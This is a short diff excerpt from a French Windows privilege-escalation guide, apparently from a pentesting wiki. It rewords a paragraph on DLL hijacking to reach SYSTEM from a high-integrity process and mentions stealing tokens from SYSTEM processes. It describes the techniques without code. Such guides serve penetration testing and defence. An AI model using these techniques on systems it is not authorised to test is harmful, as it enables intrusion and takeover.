 Utiliser cette technique consiste généralement à **sélectionner n'importe quel processus s'exécutant en tant que SYSTEM avec tous les privilèges de jeton** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de jeton_).\
 **Vous pouvez trouver un** [**exemple de code exécutant la technique proposée ici**](sedebug-+-seimpersonate-copy-token.md)**.**

@ -1345,7 +1347,7 @@ Si vous voulez lire un exemple de [**comment passer d'une haute intégrité à S

 ### Dll Hijacking

-Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous serez en mesure d'exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger les dll.\
+Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger des dlls.\
 **Vous pouvez** [**en savoir plus sur le Dll hijacking ici**](dll-hijacking/index.html)**.**

 ### **From Administrator or Network Service to System**